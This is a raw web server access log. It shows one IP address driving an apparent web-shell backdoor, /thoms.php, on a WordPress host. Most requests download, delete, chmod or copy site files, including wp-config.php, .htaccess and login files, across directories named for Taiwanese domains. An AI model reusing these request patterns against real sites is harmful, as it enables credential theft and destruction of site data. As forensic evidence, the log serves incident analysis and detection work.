45.135.193.11 - - [11/Sep/2026:23:14:06 -0400] "GET /thoms.php?chmod=xmlrpc.php&p=betcity.com.tw HTTP/1.1" 200 11478 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:06 -0400] "GET /thoms.php?dl=wp-mail.php&p=betcity.com.tw HTTP/1.1" 200 17364 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:06 -0400] "GET /thoms.php?p=betcity.com.tw&settings=1 HTTP/1.1" 200 11878 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:06 -0400] "GET /thoms.php?p=betcity.com.tw&view=xmlrpc.php HTTP/1.1" 200 13360 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:06 -0400] "GET /thoms.php?dl=readme.html&p=betcity.com.tw HTTP/1.1" 200 17363 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:06 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fcgi-bin&p= HTTP/1.1" 200 12007 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:06 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-includes&p= HTTP/1.1" 200 11994 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:06 -0400] "GET /thoms.php?chmod=wp-trackback.php&p=betcity.com.tw HTTP/1.1" 200 11494 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:06 -0400] "GET /thoms.php?chmod=readme.html&p=betcity.com.tw HTTP/1.1" 200 11478 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:06 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-config-sample.php&p=betcity.com.tw HTTP/1.1" 200 11472 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:06 -0400] "GET /thoms.php?dl=wp-config-sample.php&p=betcity.com.tw HTTP/1.1" 200 17367 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:06 -0400] "GET /thoms.php?chmod=upgrade&p=betcity.com.tw HTTP/1.1" 200 11473 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:06 -0400] "GET /thoms.php?del=upgrade&p=betcity.com.tw HTTP/1.1" 200 17358 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:06 -0400] "GET /thoms.php?del=wp-activate.php&p=betcity.com.tw HTTP/1.1" 200 17356 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:06 -0400] "GET /thoms.php?dl=wp-config.php&p=betcity.com.tw HTTP/1.1" 200 17357 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:07 -0400] "GET /thoms.php?p=betcity.com.tw&view=wp-load.php HTTP/1.1" 200 13651 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:06 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-includes HTTP/1.1" 200 59395 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:07 -0400] "GET /thoms.php?chmod=wp-admin&p=betcity.com.tw HTTP/1.1" 200 11487 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:07 -0400] "GET /thoms.php?chmod=mah.php&p=betcity.com.tw HTTP/1.1" 200 11469 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:07 -0400] "GET /thoms.php?dl=index.php&p=betcity.com.tw HTTP/1.1" 200 17366 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:07 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-load.php&p=betcity.com.tw HTTP/1.1" 200 11430 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:07 -0400] "GET /thoms.php?chmod=wp-settings.php&p=betcity.com.tw HTTP/1.1" 200 11478 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:07 -0400] "GET /thoms.php?chmod=cgi-bin&p=betcity.com.tw HTTP/1.1" 200 11474 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:07 -0400] "GET /thoms.php?del=cgi-bin&p=betcity.com.tw HTTP/1.1" 200 17366 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:07 -0400] "GET /thoms.php?p=betcity.com.tw&view=thoms.php HTTP/1.1" 200 11803 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:07 -0400] "GET /thoms.php?del=wp-login.php&p=betcity.com.tw HTTP/1.1" 200 17364 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:07 -0400] "GET /thoms.php?dl=wp-settings.php&p=betcity.com.tw HTTP/1.1" 200 17367 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:07 -0400] "GET /thoms.php?chmod=deprecated-complete&p=betcity.com.tw HTTP/1.1" 200 11481 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:07 -0400] "GET /thoms.php?chmod=wp-config.php&p=betcity.com.tw HTTP/1.1" 200 11476 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:07 -0400] "GET /thoms.php?p=betcity.com.tw&view=wp-mail.php HTTP/1.1" 200 15342 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:07 -0400] "GET /thoms.php?p=betcity.com.tw%2Fwp-content HTTP/1.1" 200 14095 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:07 -0400] "GET /thoms.php?chmod=wp-content&p=betcity.com.tw HTTP/1.1" 200 11474 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:07 -0400] "GET /thoms.php?p=betcity.com.tw&view=license.txt HTTP/1.1" 200 20071 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:07 -0400] "GET /thoms.php?del=.htaccess&p=betcity.com.tw HTTP/1.1" 200 17358 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:07 -0400] "GET /thoms.php?del=error_log&p=betcity.com.tw HTTP/1.1" 200 17367 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:07 -0400] "GET /thoms.php?del=license.txt&p=betcity.com.tw HTTP/1.1" 200 17367 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:07 -0400] "GET /thoms.php?chmod=wp-activate.php&p=betcity.com.tw HTTP/1.1" 200 11483 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:07 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-blog-header.php&p=betcity.com.tw HTTP/1.1" 200 11472 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:07 -0400] "GET /thoms.php?p=betcity.com.tw&view=wp-comments-post.php HTTP/1.1" 200 13025 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:07 -0400] "GET /thoms.php?dl=wp-trackback.php&p=betcity.com.tw HTTP/1.1" 200 17358 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:07 -0400] "GET /thoms.php?del=mah.php&p=betcity.com.tw HTTP/1.1" 200 17366 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:07 -0400] "GET /thoms.php?p=betcity.com.tw&view=wp-cron.php HTTP/1.1" 200 14169 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:07 -0400] "GET /thoms.php?p=betcity.com.tw&view=wp-settings.php HTTP/1.1" 200 19461 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:07 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fwp-trackback.php&p=betcity.com.tw HTTP/1.1" 200 11436 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:07 -0400] "GET /thoms.php?copy=betcity.com.tw%2Flocoy.php&p=betcity.com.tw HTTP/1.1" 200 11466 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:07 -0400] "GET /thoms.php?del=schema-shared&p=betcity.com.tw HTTP/1.1" 200 17366 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:07 -0400] "GET /thoms.php?dl=wp-comments-post.php&p=betcity.com.tw HTTP/1.1" 200 17366 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:08 -0400] "GET /thoms.php?chmod=wp-mail.php&p=betcity.com.tw HTTP/1.1" 200 11493 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:08 -0400] "GET /thoms.php?copy=betcity.com.tw%2Fupgrade&p= HTTP/1.1" 200 12013 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:08 -0400] "GET /thoms.php?dl=mah.php&p=betcity.com.tw HTTP/1.1" 200 17368 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:08 -0400] "GET /thoms.php?p=betcity.com.tw&view=wp-config-sample.php HTTP/1.1" 200 13298 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:08 -0400] "GET /thoms.php?chmod=wp-load.php&p=betcity.com.tw HTTP/1.1" 200 11480 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:08 -0400] "GET /thoms.php?del=wp-load.php&p=betcity.com.tw HTTP/1.1" 200 17366 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:08 -0400] "GET /thoms.php?del=themes&p=wp-content HTTP/1.1" 200 13159 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:08 -0400] "GET /thoms.php?p=wp-content&upload= HTTP/1.1" 200 12147 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:08 -0400] "GET /thoms.php?chmod=themes&p=wp-content HTTP/1.1" 200 11467 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:08 -0400] "GET /thoms.php?p=wp-content&settings=1 HTTP/1.1" 200 11883 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:08 -0400] "GET /thoms.php?p=wp-content%2Fthemes HTTP/1.1" 200 12961 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:08 -0400] "GET /thoms.php?copy=wp-content%2Fthemes&p= HTTP/1.1" 200 11994 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:08 -0400] "GET /wp-content HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:08 -0400] "GET /thoms.php?copy=ba-guo.com.tw&finish=1&move=1&p= HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:08 -0400] "GET /wp-content/ HTTP/1.1" 200 0 "https://163.245.207.76/wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:08 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bogroup.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:08 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bossini.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:08 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19181 "https://163.245.207.76/thoms.php?copy=ba-guo.com.tw&finish=1&move=1&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:08 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=wordpress-6.6-20260912023539 HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:08 -0400] "GET /thoms.php?p=bogroup.com.tw HTTP/1.1" 200 17362 "https://163.245.207.76/thoms.php?copy=ba-guo.com.tw&p=bogroup.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:08 -0400] "GET /thoms.php?p=bossini.com.tw HTTP/1.1" 200 17596 "https://163.245.207.76/thoms.php?copy=ba-guo.com.tw&p=bossini.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:08 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=wp-content HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:08 -0400] "GET /thoms.php?p=wordpress-6.6-20260912023539 HTTP/1.1" 200 16551 "https://163.245.207.76/thoms.php?copy=ba-guo.com.tw&p=wordpress-6.6-20260912023539" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:08 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=ba-guo.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:08 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bft.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:08 -0400] "GET /thoms.php?p=wp-content HTTP/1.1" 200 13149 "https://163.245.207.76/thoms.php?copy=ba-guo.com.tw&p=wp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:08 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=big-wife.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:08 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19212 "https://163.245.207.76/thoms.php?copy=ba-guo.com.tw&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:08 -0400] "GET /thoms.php?p=bft.com.tw HTTP/1.1" 200 19379 "https://163.245.207.76/thoms.php?copy=ba-guo.com.tw&p=bft.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:08 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=besth2o.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:08 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bodbooks.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:08 -0400] "GET /thoms.php?p=big-wife.com.tw HTTP/1.1" 200 17364 "https://163.245.207.76/thoms.php?copy=ba-guo.com.tw&p=big-wife.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:08 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:08 -0400] "GET /thoms.php?p=besth2o.com.tw HTTP/1.1" 200 17504 "https://163.245.207.76/thoms.php?copy=ba-guo.com.tw&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:08 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bestjudy.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:08 -0400] "GET /thoms.php?p=bodbooks.com.tw HTTP/1.1" 200 17558 "https://163.245.207.76/thoms.php?copy=ba-guo.com.tw&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:08 -0400] "GET /thoms.php?p= HTTP/1.1" 200 19212 "https://163.245.207.76/thoms.php?copy=ba-guo.com.tw&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:08 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bfl.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:09 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=cgi-bin HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:09 -0400] "GET /thoms.php?p=bestjudy.com.tw HTTP/1.1" 200 17356 "https://163.245.207.76/thoms.php?copy=ba-guo.com.tw&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:09 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=bestzyx.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:09 -0400] "GET /thoms.php?p=bfl.com.tw HTTP/1.1" 200 17470 "https://163.245.207.76/thoms.php?copy=ba-guo.com.tw&p=bfl.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:09 -0400] "GET /thoms.php?p=cgi-bin HTTP/1.1" 200 13044 "https://163.245.207.76/thoms.php?copy=ba-guo.com.tw&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:09 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=betcity.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:09 -0400] "GET /thoms.php?p=bestzyx.com.tw HTTP/1.1" 200 17868 "https://163.245.207.76/thoms.php?copy=ba-guo.com.tw&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:09 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=broadweb.com.tw HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:14:09 -0400] "GET /thoms.php?copy=ba-guo.com.tw&p=upgrade HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
